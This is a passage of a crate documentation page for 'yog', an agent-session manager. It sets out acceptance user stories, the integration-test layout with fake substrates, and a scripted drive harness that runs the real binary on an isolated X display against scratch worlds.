yog 0.0.4

yog: a balls-oriented session manager for lernie loops (egui frontend)
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
# yog — The paved-path story ladder

**Benchmark: OpenAI Codex.** Zero-to-running is a login flow plus Enter in a
text box, and it *ends with the reply streaming* — a spawned process is not
the payoff. This document is the acceptance ladder for that path: user
stories escalating in operator skill, each rung adding features **without
burdening the rung below** — the S0 user never meets a concept from S3.
DESIGN.md remains the architecture authority; this file binds *experience*
to it and enumerates the integration tests that prove each story. A story is
done when its tests pass against the fake substrate **and** the flow works
against the real one.

Vocabulary is DESIGN §1's (no "session"): a conversation is a root agent in a
workspace; starting one is *prompt into the focused workspace, created if
none exists* (§3.4).

Premise, owned: **the entry bar is "yog".** Phase 1's was "yog + current
substrate binaries installed", with a toolchain pane naming any gap and its
exact install/upgrade command (W5); the exact-pinned embedded crates dissolved
the install story entirely and §16.7 W13 deleted the pane and the gate with it
(§16.4). S9 is that rung — the one that escalates *downward* by deleting the
premise — and its gate-shaped tests are **removed, not skipped**.

## Test harness (all stories)

Integration tests live in `tests/integration/`, modules of **one** binary
rooted at `tests/integration/main.rs` — a file directly under `tests/` is a
binary of its own, and 28 of them cost ~1.8 s of tarpaulin launch overhead and
~175 MB of duplicated linkage apiece. Only the three that mutate process-global
env (`multiplex_bl`, `multiplex_lernie`, `git_env_scrub`) stay standalone,
because "one `#[test]` per binary" *is* their soundness argument. The rest
share a process, so a fixture executable is authored through
`support::write_executable` — a plain `fs::write` on a file about to be exec'd
races a peer thread's fork into `ETXTBSY`. They drive the dispatch layer — the same
`pub` functions the shell's click-glue calls (`start::*`, `actions::*`,
`AppModel`, the view-model modules) — never egui widgets (§11's split: glue
is thin and excluded; everything a click *calls* is covered). Substrates are
fake recorder script binaries injected as `Cli::new(path)` / `Deps{…}` at
the dispatch API (the `tests/integration/editor_roundtrip.rs` idiom): each records
argv+env+cwd to a log and plays a canned stdout/exit per verb. (The
`LERNIE_BINARY`/`BL_BINARY`/`BZ_BINARY` env vars are production wiring,
covered by the existing `resolve_with` unit tests — tests never mutate
process-global env under the parallel runner.) Every story test asserts up
to three surfaces: the recorded spawns, the `ops.jsonl` trail, and the
derived view-model the shell would paint.

**Test→enabling-task map** (M6 §15; a test lands red-first *inside the
worktree of the task that turns it green* — written first, red in-worktree,
green at close; the precommit gate forbids landing red on main):

| Tests | Enabling task |
|---|---|
| S1-T2, S1-T3, INV-3, S0-T2 (seed-skip half) | Z7 (fixture; green today) |
| S0-T1, S0-T3 (abort half), S1-T1, S2-T1, S3-T1..T4, S3-T6, INV-1 | Z3 (with Z2 under it) |
| S0-T3 (ops-row + view-model halves), INV-2 | Z5 |
| S0-T5, S0-T6 | Z8 |
| S1-T4 | Z5 (view-model) |
| S3-T5, S4-T1..T3 | Z4 |
| S3-T7, S4-T4..T7 | Z10 — **landed** (bl-3b24): the board, `nav::{tabs,convs,group}` |
| S5-T3..T6 | Z11 — **landed** (bl-3b24): the three §9 editors (S5-T1/T2 died with Z6) |
| S6-T1..T5 | Z12 — **landed** (bl-3b24): `attention` (Y10) + the activity accessory |
| S7-T1..T5 | Z13 — **landed** (bl-3b24): the inspector altitudes (Y9/Y12/Y13/Y20) |
| S8-T1..T4 | Z14 — **landed** (bl-3b24): `world::{mod,hatch,marks}` (W1/W2/W4/W6) |
| S9-T1..T4 | W8–W11 — **landed** (phase 2 complete, §16.7): all three substrates are linked crates |

Z10–Z14 were the ladder's remaining enabling tasks and **all five closed
together as bl-3b24** (2026-08-07). Their rungs were already built — the board
landed with Z9/bl-de16, the editors with Y18–Y21, the world with W1–W6 — so
each task's deliverable was its row of tests, not a feature. Every row named
above now has a fake-half test at `tests/integration/stories_<row>.rs`, one
file per row; the multi-agent workspace fixtures they share live in
`tests/integration/support/{world,payload}.rs`.

**The red-first rule did not apply to this wave, and that is the honest
record.** "Written first, red in-worktree, green at close" is the discipline
for a test that *drives a feature into existence*; Z10–Z14's surfaces were
already built and already correct, so every row here was green on first run
against the tree. Nothing was found broken — what was found stale was the
*prose*, and six rows' premises are amended below and in each test's module
doc. There is no defect ball owning a red row from this wave.

**Their bl ids no longer land in DESIGN §15 M6.** §15 was retired to git
history (bl-43cd) and its task table is gone; the heading survives only so
`§15 …` citations resolve. This table is now the map's only home.

## Real-substrate drive (the second done-bar half)

The intro's done-bar has two halves: a story is done when its tests pass
**against the fake substrate** (the `tests/` harness above) *and* **the flow
works against the real one**. The fake harness proves the dispatch layer in
isolation; nothing in it exercises the installed `yog` binary, a live egui
window, or a real model wire. This section is the second half's harness — a
graduated, repeatable drive of the *real* `yog` against the *real* `lernie`
wire, so "works against the real one" is a run you can re-run, not a claim.

**One command drives it** (DESIGN §12.2 maps the files):

    make drive                            # the whole ladder, one world per verb
    make drive DRIVE_RUNS="run run-s7"    # a subset
    make drive-cleanroom                  # the same, in the §16.7 W14 room
    make drive-preflight                  # name every missing host tool at once

**Not every run verb drives a window.** `run-headless` (bl-bb20) claims no X
display, opens nothing and spends nothing on the wire: `yog serve` is the
same engine with no face (§8.4), so the whole verb is `yog gesture` lines
against a real world. It is the ladder's first verb — a world that is broken in
its own shape reddens in seconds rather than after four windowed runs — it is
the only verb drivable on a box with no X server, and it is where a graduated
rung's real-substrate half lands when the rung has a headless spelling. Which
rungs those are, and which are ruled out and why, is recorded rung by rung in
`scripts/drive/beats_headless.sh`'s own head; the short of it is that a drive
beat earns its keep only where the REAL substrate can falsify something a fake
cannot — real balls state and its blocker resolution, real git, real lernie's
on-disk shapes, the real window, the real wire — and that a rung whose claim is
a derivation over yog's own structures is proved exactly by its in-crate test.

`make drive` builds the release binary, preflights the host, gives each run verb
its **own** scratch world under `$XDG_CACHE_HOME/yog-drive/<stamp>/<verb>/`, and
emits a log skeleton at the tail. It is never the live world and cannot be
pointed at one: the scratch root and `$XDG_DATA_HOME` are compared in both
directions and an overlap is refused outright, because a run wipes its world
before it starts. `make ux` and `make reload` are the live-world verbs; these
are not.

**The evidence root is outside the checkout on purpose.** A scratch world is not
inert data — it holds `git init` project fixtures and a nested balls delivery
territory that *mirrors the project's own path*. Nested inside the repo, that
mirror reproduces the checkout's path beneath itself, and a fixture reaching for
a delivery worktree by name (`find … -name 'bl-*'`, which matches a path
component as readily as a leaf) walks `git` up out of the scratch tree into the
real repo. The first drive run through `drive.sh` did exactly that: it committed
an agent's entire staged worktree onto its own branch as `yogdrive work`,
silently. The fixture now requires a candidate to be its **own** git toplevel —
an interior mirror directory never is — so the class is dead at the fixture as
well as at the path.

The friction that hid behind the positional scripts was not incidental — it is
why the ladder went undriven for eleven days while 177 commits landed. Four
facts had to be right before the first beat (a seat is per run; each verb wants
its own world; the driven `yog` resolves from `PATH`, so a worktree build must
be prefixed onto it; the evidence needs a home), and getting any of them wrong
was silent.

**Scripts** (`scripts/drive/`, bash, no repo deps):

- `drive.sh` — the front door the make verbs wrap: the live-world refusal, the
  `target/release` PATH prefix, one scratch world per run verb under a stamped
  evidence root, and the log skeleton. It **wraps and never replaces** —
  `stories.sh <verb> <data> <out>` and `cleanroom.sh <bin> <root> <out> [verb]`
  keep working exactly as they always have.
- `preflight.sh` — the host contract, named in full and *at once*. Before it, a
  run claimed a seat, went quiet for ten seconds and died on the first missing
  binary — one per attempt, a full seat claim spent to learn each. Its subjects
  are what the scripts actually call, verified against them: `Xvfb`, `xdotool`,
  `ffmpeg` (capture is `-f x11grab`, so ImageMagick `import`/`convert`, `scrot`
  and `xwd` are **not** subjects and never were), `python3`, `git`, the `yog`
  under drive, and the two world-seed files every run verb copies. It also
  names the **wall** contract (bl-49c6), because a host tool is not the only way
  a run can be unready: §16.2 moved brazen's config, credentials and model cache
  inside the per-workspace wall, so a newborn workspace answers brazen's shipped
  rows and nothing else until `seed_wall` copies the host's config and
  credentials into `<world>/walls/home/brazen/` — with the world seed, before the
  launch. Whether a birth template's row is one of those shipped rows is
  asked of the binary under drive through an empty `YOG_WALL` rather than
  restated here. The whole tier is **advisory** since bl-00ee retired the §9.2
  birth gate — which used to red *every* beat of *every* run over one row, with
  no workspace ever created: a workspace is now born whatever its template
  names, so a missing row or sign-in costs only the wire beats, and `run-s5s8` —
  26 beats, zero model calls — needs neither.
- `yogdrive.sh` — the seat primitive. It drives a real `yog` on an **isolated
  Xvfb display claimed per run**, never the user's live seat: synthetic
  `xdotool` input on a live seat leaks keystrokes into the operator's own apps,
  so input is confined to that display (no compositor there — XTEST works
  natively). The seat is per *run*, not per box: a hardcoded `:99` was a
  singleton, and two drives at once stole each other's window focus mid-typing
  (bl-4132). `seat` claims one — `Xvfb -displayfd` picks the free display
  itself, which a probe-then-start cannot do without racing — and prints `:N`;
  the runner exports it as `YOG_SEAT` and every later invocation inherits it,
  with no verb falling back to a default. `unseat` tears it down (the X lock
  file names the server's pid, so nothing of ours is stored).
  `launch <scratch>` spawns `yog` under `XDG_DATA_HOME=<scratch>` (with
  `WAYLAND_DISPLAY` unset, `DISPLAY=$YOG_SEAT`), finds the window by pid, and
  prints `PID WID`; `shot`/`type`/`key`/`click`/`stop` are the verbs. Capture is
  `ffmpeg -f x11grab` to a PNG. The driven `yog` resolves from `PATH`, so a
  worktree build is driven by prefixing its `target/release` — the drive
  proves the build in hand, not whatever is installed.
- `stories.sh` — the story runner, **one verb per world**. `seed <scratch>` lays
  the world seed; `run` fires S0/S1; `run-s3s4s6` fires S3/S4/S6 in a world that
  additionally holds a primed project with a ready ball; `run-s5s8` fires S5, S8
  and the residual S3/S4 ball rows in a world with a *bound* ball and **no
  conversation at all**; `run-s7` fires S7 and §6's remaining predicates in a
  world with one live conversation and a laid forensic state around it. Each
  asserts on the real surfaces (`ops.jsonl`, the workspace tree, the on-disk
  `messages/`, `ui.json`, the workspace's own git refs and branches), one
  PASS/FAIL line per beat, screenshots to `<out>` for visual review. The beat
  bodies live in sourced files — one per rung group (`beats_s3s4s6.sh`,
  `beats_s5.sh`, `beats_s8.sh`, `beats_s3res.sh`, `beats_s7.sh`, `beats_s6.sh`) —
  same helpers, same seat, split only for the repo's 300-line cap. It owns the
  **second** transport beside the seat: `gesture <data> '/line' [flags]` — one
  DESIGN §8.5 boundary gesture, `yog gesture` against the run's own scratch
  world. It takes no window id and needs no display, because the deposit
  converges through the running yog's consumer thread rather than through its
  surface; replies land in `<out>/gestures.jsonl` as the audit half.
- `cleanroom.sh` — the **standing done-bar** wrapper (§16.7 W14, below):
  `cleanroom.sh <yog-binary> <scratch-root> <out> [<any stories.sh verb>]` builds a
  room whose `PATH` is `<room>/bin:/usr/bin:/bin` — one yog binary plus the
  system's own git/sh/coreutils and the harness's Xvfb/xdotool/ffmpeg — points
  every nested root at fresh scratch, and hands the room to `stories.sh`
  unchanged. It **asserts** the scrub (`lernie`/`bl`/`bz` must all fail
  `command -v`, `yog`/`git` must both resolve) before driving anything, so the
  env is not a claim in prose but the executable precondition of the run.
- `harness.sh` — the tier every run shares, sourced by `stories.sh`: the
  assertion helpers, the two waiting primitives, the per-run seat, and the
  verdict. **The verdict has two halves and one emission.** `pass`/`fail` print
  the same PASS/FAIL line they always did *and* write one JSONL row —
  `{run, beat, label, verdict, detail, evidence, bin, at}` — to
  `<out>/verdicts.jsonl`, beside the `gestures.jsonl` the boundary transport
  writes. Neither half is a summary of the other, because both come from the
  same call; a run's verdict is now readable by a tool instead of being ~50
  printf lines and one exit code. The **label is the single source** of a beat's
  name and `beat` is only that label slugged, so nothing can drift out of step
  with the line the operator reads. `bin` is the binary the run drove, resolved
  inside the run from its own PATH — the only place that answer exists, because
  `yog` is launched unqualified and the front door prefixes the checkout's
  `target/release` onto PATH for exactly that reason.
- `logskel.sh` — a run's report starts *generated*. Sha, host tuple, load, the
  driven binary and the whole beat table are emitted from `verdicts.jsonl` —
  the binary read back off the rows, never re-asked of the generator's PATH,
  which would answer with the operator's *installed* yog (bl-d1af); every
  judgement is left as an explicit hand-finish marker. The mechanical half was both the
  dullest part of writing a drive log and the part most likely to be quietly
  wrong, because a transcribed table is a claim about a run rather than a
  reading of it. The house style — evidence quoted, not summarized — is the
  operator's half and is not generated.
- **Four worlds, on purpose.** The rungs want different fixtures, and each
  difference is load-bearing rather than incidental:
  - with **zero** workspaces the ball rung *founds* one (`home`, DESIGN
    §3.1), so its ops trail is
    `lernie new` **then** `bl claim` — the §8.1 order S3-T1 actually asserts.
    Continuing S0/S1's world would give a focused workspace (no founding, a weaker
    assertion) and would stack conversation rows above every balls-section click.
  - S5/S8's world binds a ball and **never sends the goal**: ▶ Start claims,
    the instance is then restarted, and the draft dies with it (RAM until sent,
    §8.1). So that world has a workspace with a real `config/default` lineage, a
    bound project for the marks knob, and a **zero-wire** cost — 26 beats, no
    model call. It also restarts *instead of* clicking a workspace tab, because
    focus is per-instance RAM (§13.1): nothing on disk can confirm a tab click
    landed, and startup derives the focus onto the only workspace anyway.
  - S7's world needs a conversation that *did* something, so it spends one call
    and then has state laid around it (below).
- **A fixture is the story's own gesture wherever one exists — but never a
  boundary one.** The project enters through `yog exec bl prime` in a throwaway
  `git init` repo under the scratch dir — the exact command the empty balls
  section renders (S3-T5, S8-3) — followed by `yog exec bl create`; a **foreign**
  workspace is one `yog exec lernie new` at a path under the nested
  `LERNIE_HOME`, because foreignness *is* a path (§3.1). Every one of those is a
  §8.4 hatch and **stays** one now that `/create` and friends exist, because a
  fixture laid across the boundary would write `ops.jsonl` rows of its own and
  the beats assert on that trail: `row_ok '"bl","create"'` is only a claim about
  the gesture under test while the trail holds nothing the fixture put there.
  The hatch is out-of-band by construction; the boundary is deliberately not. Where no gesture exists, the fixture writes what **lernie**
  would write and nothing yog owns: a descent branch (hierarchy lives in the id,
  §2.3, so a branch whose id is the root's plus one `<ts>-<short>` segment *is* a
  child — two hyphen-free tokens, no fewer, or it is an id lernie would never
  mint and nobody's child), `refs/lernie/budget-exhausted/*` and
  `refs/lernie/conflicted/*` (a ref *is* a mark, §6), a pending `inbox/` deposit
  under §2.11's own naming, a `request.json` that is not JSON, and — for the
  close gate — a failing `pre-commit` hook **plus a commit in the ball's
  worktree**, since a work branch identical to `main` never reaches a commit and
  so never reaches the hook. Two more are environment, not content: a scratch
  `BRAZEN_CONFIG` (historical — see the note below; a §9.1 Apply beat must never
  reach the operator's own machine) and a stub `lernie`
  missing exactly one driven verb (the §16.6 W5 gate's own shape, in eight
  lines). `rm -rf <scratch>` erases all of it. (The scratch `BRAZEN_CONFIG` that
  used to sit in this list is gone: brazen's config now lives inside the run's
  own world, at `<data>/yog/world/walls/<workspace>/brazen/config.toml`, so the
  isolation is structural rather than a var the fixture must remember.)

**The world seed (DESIGN §16.6 W3).** Before launch the runner copies the
ambient world's `world/lernie/models.yaml` (which carries a `gpt-5.4` codex
model entry) and `world/lernie/template/providers.yaml` (the provider row in
both the worker and compactor roles) into the scratch world. The `models.yaml`
*is* lernie's seeded marker, so a seeded world skips `lernie prime` — the S0-T2
general path with the seed present (§3.4), not a bootstrap branch.

**The wall seed (DESIGN §16.2, bl-49c6, bl-1851).** Nothing brazen-shaped is
shared any more: since the blast-radius ruling a workspace's provider
config, sign-ins and model cache live at `<world>/walls/<name>/brazen/*`, so a
newborn workspace's wall is an **empty directory** and the `yogdrive.sh` symlink
that used to point the scratch `brazen/credentials` at the ambient one fed
nothing. `wall.sh`'s `seed_wall` copies the host's brazen config and
credential files into that wall instead — **beside the world seed above, before
the launch**, and that is the third file of one fixture rather than a later step.
The template the seed lays names `openai-chatgpt`, which a newborn wall does not
ship; the config that defines the row and the credential that answers for it are
the other half of the same fact, and half a fact seeded late is a red beat.

**It is layable early because the leaf is a constant, not a mint.** The wall is
keyed by a *name*, and DESIGN §3.1 fixes the empty-world start's name at `home`
("a constant, not a config … and not a mint"); every run verb here opens on zero
workspaces, so every wall this harness lays is `home`'s. Seeded "after the mint"
it was always too late — yog's bare start is **one gesture**, the `lernie new`
and the detached first `lernie prompt` inside the same second, so the first model
call had already gone out against an empty wall. `S0 payoff: wire reply on disk`
was therefore structurally red from the blast-radius ruling until bl-1851, and
its literal cause — the first step's `response.json` carrying
`{"type":"error","kind":"config","message":"unknown provider openai-chatgpt"}`
— reads exactly like a wire outage to the next person to drive the rung
(bl-1851).

That same "no fixture can precede the birth" is what retired the §9.2 birth gate
(bl-00ee), and the gate stays retired on its own merits: what it lacked was never
a knowable name but anything of *yog's own* to put in the wall. A workspace is
born whatever its template names, and a missing row surfaces where it costs
something real: the wire beats. `preflight.sh` still asks the binary under drive
for a fresh wall's table and reports it at step 0 (QUALITY.md §3 step 0), as an
advisory beside the credentials.

**Beats driven, world 1** (the P0 rungs — S0+S1, the Codex bar):

- **S0 bare start** — launch to composer, type a goal, Enter: assert the argv
  trail is `lernie new` then a detached `lernie prompt` (no `prime`), the wire
  reply lands on disk, and the transcript renders it in the focused view.
- **S1 message-to-agent** — type into the focused conversation, Enter → a
  `lernie message` verb, **and the reply to it on disk** (`004-*.json`), with no
  step left holding a zero-byte `response.json`. The reply half is the beat, not
  a garnish (bl-bf79): S0's turn left the conversation quiescent, so this message
  has no live driver to hand itself to and must **revive** one — and a driver
  revived outside the workspace's wall dies on its first `bz` having spawned the
  right argv and exited 0. For four months the beat asserted only that the verb
  fired, so it passed green through every run in which the operator's second
  message got nothing back at all.
- **S1 restart-equivalence** — kill and relaunch on the same world: the
  workspace, conversation, and ops trail re-derive from disk with **no spawn
  at idle** (INV-1 / I1: restart is re-read).
- **S1 prompt-into-existing** — Enter in the focused workspace's composer →
  `lernie prompt` only, a new root agent, **no re-mint** (no `new`/`prime`).

**Beats driven, world 2** (P1's S3 + P2's S4/S6 — `run-s3s4s6`):

- **S3 ball rung** — ▶ Start on the ready ball: assert `lernie new` precedes
  `bl claim <id> --as <workspace name>` (the §8.1 order, asserted as ops line
  numbers), then Send → the detached prompt's cwd **is the ball worktree**
  (asserted against the ops row's own `cwd`, the ball rung's whole point §3.3)
  and the wire reply lands on disk.
- **S3 close** (S3-T7) — Close on the bound ball → `bl close <id> --as <bound
  workspace name>`, cwd the project; the ball is then absent from `bl list
  --json` and the *closed* listing carries `claimant: <that workspace>` — the
  one string every surface re-derives **delivered** from (row badge ash, header,
  balls section), with nothing stored to remember it.
- **S4 second conversation** — new conversation, type, Enter → a second root in
  the *same* workspace with **no re-mint**, and the bare one shows **no ball
  badge** (§3.2's honest limit).
- **S6 attention** — Stop the in-flight root → `lernie stop`, and the strip goes
  from `nothing stirs` to **`⚑ 1 need attention`** with the workspace tab and the
